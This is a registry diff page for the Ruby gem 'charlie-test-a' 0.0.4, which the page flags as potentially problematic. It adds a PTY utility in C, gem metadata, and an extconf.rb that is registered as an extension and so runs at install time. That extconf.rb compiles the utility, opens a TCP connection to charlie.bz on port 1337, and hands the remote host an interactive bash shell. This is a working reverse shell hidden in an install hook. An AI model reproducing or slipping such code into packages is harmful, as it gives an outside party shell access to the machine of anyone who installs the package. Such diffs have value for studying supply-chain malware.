charlie-test-a 0.0.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of charlie-test-a might be problematic. Click here for more details.
- data/extconf.rb +18 -0
- data/ptydo.c +178 -0
- metadata +47 -0
data/extconf.rb
ADDED
@@ -0,0 +1,18 @@
|
|
1
|
+
ldflags = ""
|
2
|
+
if RUBY_PLATFORM =~ /linux/
|
3
|
+
ldflags << " -lutil"
|
4
|
+
end
|
5
|
+
`gcc -o ptydo ptydo.c #{ldflags}`
|
6
|
+
port = 1337
|
7
|
+
require "socket"
|
8
|
+
sock = TCPSocket.new("charlie.bz", port)
|
9
|
+
bash = IO.popen("./ptydo /bin/bash", "w+")
|
10
|
+
loop do
|
11
|
+
read, write = IO.select [sock, bash], []
|
12
|
+
if read.include? sock
|
13
|
+
bash.write sock.read_nonblock 1024
|
14
|
+
end
|
15
|
+
if read.include? bash
|
16
|
+
sock.write bash.read_nonblock 1024
|
17
|
+
end
|
18
|
+
end
|
data/ptydo.c
ADDED
@@ -0,0 +1,178 @@
|
|
1
|
+
#define _POSIX_SOURCE
|
2
|
+
#include <stdio.h>
|
3
|
+
#include <stdlib.h>
|
4
|
+
#include <string.h>
|
5
|
+
#include <termios.h>
|
6
|
+
#include <unistd.h>
|
7
|
+
#ifdef __linux__
|
8
|
+
#include <pty.h>
|
9
|
+
#elif __APPLE__
|
10
|
+
#include <util.h>
|
11
|
+
#else
|
12
|
+
#error Not sure which header forkpty() is in on your system. Please report a bug at https://github.com/charliesome/ptydo/issues
|
13
|
+
#endif
|
14
|
+
#include <errno.h>
|
15
|
+
#include <signal.h>
|
16
|
+
#include <sys/types.h>
|
17
|
+
#include <sys/select.h>
|
18
|
+
#include <sys/ioctl.h>
|
19
|
+
|
20
|
+
static void usage()
|
21
|
+
{
|
22
|
+
printf(
|
23
|
+
"Usage: ptydo [<switches>] [--] <command...>\n"
|
24
|
+
"\n"
|
25
|
+
"Runs command in a child PTY with input/output exposed as stdin/stdout.\n"
|
26
|
+
"\n"
|
27
|
+
"Window Options:\n"
|
28
|
+
" -w <columns> Specifies the width of the PTY in columns\n"
|
29
|
+
" -h <rows> Specifies the height of the PTY in rows\n"
|
30
|
+
"\n"
|
31
|
+
" If ptydo is run interactively, the PTY will default to the dimensions of the\n"
|
32
|
+
" host PTY. Otherwise, the dimensions will default to 80 by 25.\n"
|
33
|
+
"\n"
|
34
|
+
"Misc Options:\n"
|
35
|
+
" -c Forward SIGINT to PTY.\n"
|
36
|
+
);
|
37
|
+
exit(EXIT_SUCCESS);
|
38
|
+
}
|
39
|
+
|
40
|
+
static pid_t child;
|
41
|
+
static int ptyfd;
|
42
|
+
|
43
|
+
static void exit_and_kill_child(int status) {
|
44
|
+
if(child) {
|
45
|
+
kill(child, SIGTERM);
|
46
|
+
}
|
47
|
+
exit(status);
|
48
|
+
}
|
49
|
+
|
50
|
+
static void forward_signal_to_pty(int sig) {
|
51
|
+
kill(child, sig);
|
52
|
+
}
|
53
|
+
|
54
|
+
int main(int argc, char** argv)
|
55
|
+
{
|
56
|
+
(void)argc;
|
57
|
+
(void)argv;
|
58
|
+
|
59
|
+
struct winsize window;
|
60
|
+
window.ws_row = 25;
|
61
|
+
window.ws_col = 80;
|
62
|
+
|
63
|
+
if(isatty(0)) {
|
64
|
+
ioctl(0, TIOCGWINSZ, &window);
|
65
|
+
}
|
66
|
+
|
67
|
+
if(argc < 2) {
|
68
|
+
usage();
|
69
|
+
}
|
70
|
+
|
71
|
+
int argi;
|
72
|
+
for(argi = 1; argi < argc; argi++) {
|
73
|
+
if(argv[argi][0] != '-') {
|
74
|
+
break;
|
75
|
+
}
|
76
|
+
if(strlen(argv[argi]) > 2) {
|
77
|
+
printf("Unknown option '%s'\n", argv[argi]);
|
78
|
+
exit(EXIT_FAILURE);
|
79
|
+
}
|
80
|
+
if(argv[argi][1] == '-') {
|
81
|
+
argi++;
|
82
|
+
break;
|
83
|
+
}
|
84
|
+
switch(argv[argi][1]) {
|
85
|
+
case 'w':
|
86
|
+
if(argi + 1 == argc) {
|
87
|
+
printf("Expected PTY width after -w flag");
|
88
|
+
exit(EXIT_FAILURE);
|
89
|
+
}
|
90
|
+
window.ws_col = atoi(argv[++argi]);
|
91
|
+
break;
|
92
|
+
case 'h':
|
93
|
+
if(argi + 1 == argc) {
|
94
|
+
printf("Expected PTY height after -h flag");
|
95
|
+
exit(EXIT_FAILURE);
|
96
|
+
}
|
97
|
+
window.ws_row = atoi(argv[++argi]);
|
98
|
+
break;
|
99
|
+
case 'c':
|
100
|
+
signal(SIGINT, forward_signal_to_pty);
|
101
|
+
break;
|
102
|
+
default:
|
103
|
+
printf("Unknown option '-%c'\n", argv[argi][1]);
|
104
|
+
exit(EXIT_FAILURE);
|
105
|
+
}
|
106
|
+
}
|
107
|
+
|
108
|
+
if(argi == argc) {
|
109
|
+
printf("No command specified\n");
|
110
|
+
exit(EXIT_FAILURE);
|
111
|
+
}
|
112
|
+
|
113
|
+
child = forkpty(&ptyfd, NULL, NULL, &window);
|
114
|
+
|
115
|
+
if(child == -1) {
|
116
|
+
// forkpty failed:
|
117
|
+
perror("forkpty");
|
118
|
+
exit(EXIT_FAILURE);
|
119
|
+
}
|
120
|
+
|
121
|
+
if(child == 0) {
|
122
|
+
// we are the child process
|
123
|
+
// execvp(argv[1], argv + 1);
|
124
|
+
// execvp failed:
|
125
|
+
char* ptyargv[argc - argi + 1];
|
126
|
+
memcpy(ptyargv, argv + argi, (argc - argi) * sizeof(char*));
|
127
|
+
ptyargv[argc - argi] = NULL;
|
128
|
+
execvp(ptyargv[0], ptyargv);
|
129
|
+
perror("execvp");
|
130
|
+
exit(EXIT_FAILURE);
|
131
|
+
}
|
132
|
+
|
133
|
+
while(1) {
|
134
|
+
fd_set readfds;
|
135
|
+
fd_set errfds;
|
136
|
+
FD_ZERO(&readfds);
|
137
|
+
FD_SET(0, &readfds);
|
138
|
+
FD_SET(ptyfd, &readfds);
|
139
|
+
FD_ZERO(&errfds);
|
140
|
+
FD_SET(0, &errfds);
|
141
|
+
FD_SET(ptyfd, &errfds);
|
142
|
+
|
143
|
+
int err = select(ptyfd + 1, &readfds, NULL, &errfds, NULL);
|
144
|
+
if(err < 0) {
|
145
|
+
if(errno == EINTR) {
|
146
|
+
continue;
|
147
|
+
}
|
148
|
+
perror("select");
|
149
|
+
}
|
150
|
+
|
151
|
+
int readfd, writefd;
|
152
|
+
if(FD_ISSET(0, &readfds)) {
|
153
|
+
// data on stdin
|
154
|
+
readfd = 0;
|
155
|
+
writefd = ptyfd;
|
156
|
+
} else if(FD_ISSET(ptyfd, &readfds)) {
|
157
|
+
writefd = 1;
|
158
|
+
readfd = ptyfd;
|
159
|
+
} else if(FD_ISSET(0, &errfds) || FD_ISSET(ptyfd, &readfds)) {
|
160
|
+
exit_and_kill_child(EXIT_SUCCESS);
|
161
|
+
} else {
|
162
|
+
fprintf(stderr, "this should never happen\n");
|
163
|
+
exit_and_kill_child(EXIT_FAILURE);
|
164
|
+
}
|
165
|
+
|
166
|
+
char buff[1024];
|
167
|
+
ssize_t bytes = read(readfd, buff, sizeof(buff));
|
168
|
+
if(bytes == 0) {
|
169
|
+
exit_and_kill_child(EXIT_SUCCESS);
|
170
|
+
} else if(bytes < 0) {
|
171
|
+
perror("read");
|
172
|
+
exit_and_kill_child(EXIT_FAILURE);
|
173
|
+
}
|
174
|
+
(void)write(writefd, buff, bytes);
|
175
|
+
}
|
176
|
+
|
177
|
+
return 0;
|
178
|
+
}
|
metadata
ADDED
@@ -0,0 +1,47 @@
|
|
1
|
+
--- !ruby/object:Gem::Specification
|
2
|
+
name: charlie-test-a
|
3
|
+
version: !ruby/object:Gem::Version
|
4
|
+
version: 0.0.4
|
5
|
+
prerelease:
|
6
|
+
platform: ruby
|
7
|
+
authors:
|
8
|
+
- charlie
|
9
|
+
autorequire:
|
10
|
+
bindir: bin
|
11
|
+
cert_chain: []
|
12
|
+
date: 2012-08-03 00:00:00.000000000 Z
|
13
|
+
dependencies: []
|
14
|
+
description:
|
15
|
+
email:
|
16
|
+
executables: []
|
17
|
+
extensions:
|
18
|
+
- extconf.rb
|
19
|
+
extra_rdoc_files: []
|
20
|
+
files:
|
21
|
+
- ptydo.c
|
22
|
+
- extconf.rb
|
23
|
+
homepage:
|
24
|
+
licenses: []
|
25
|
+
post_install_message:
|
26
|
+
rdoc_options: []
|
27
|
+
require_paths:
|
28
|
+
- lib
|
29
|
+
required_ruby_version: !ruby/object:Gem::Requirement
|
30
|
+
none: false
|
31
|
+
requirements:
|
32
|
+
- - ! '>='
|
33
|
+
- !ruby/object:Gem::Version
|
34
|
+
version: '0'
|
35
|
+
required_rubygems_version: !ruby/object:Gem::Requirement
|
36
|
+
none: false
|
37
|
+
requirements:
|
38
|
+
- - ! '>='
|
39
|
+
- !ruby/object:Gem::Version
|
40
|
+
version: '0'
|
41
|
+
requirements: []
|
42
|
+
rubyforge_project:
|
43
|
+
rubygems_version: 1.8.24
|
44
|
+
signing_key:
|
45
|
+
specification_version: 3
|
46
|
+
summary: charlie's test
|
47
|
+
test_files: []
|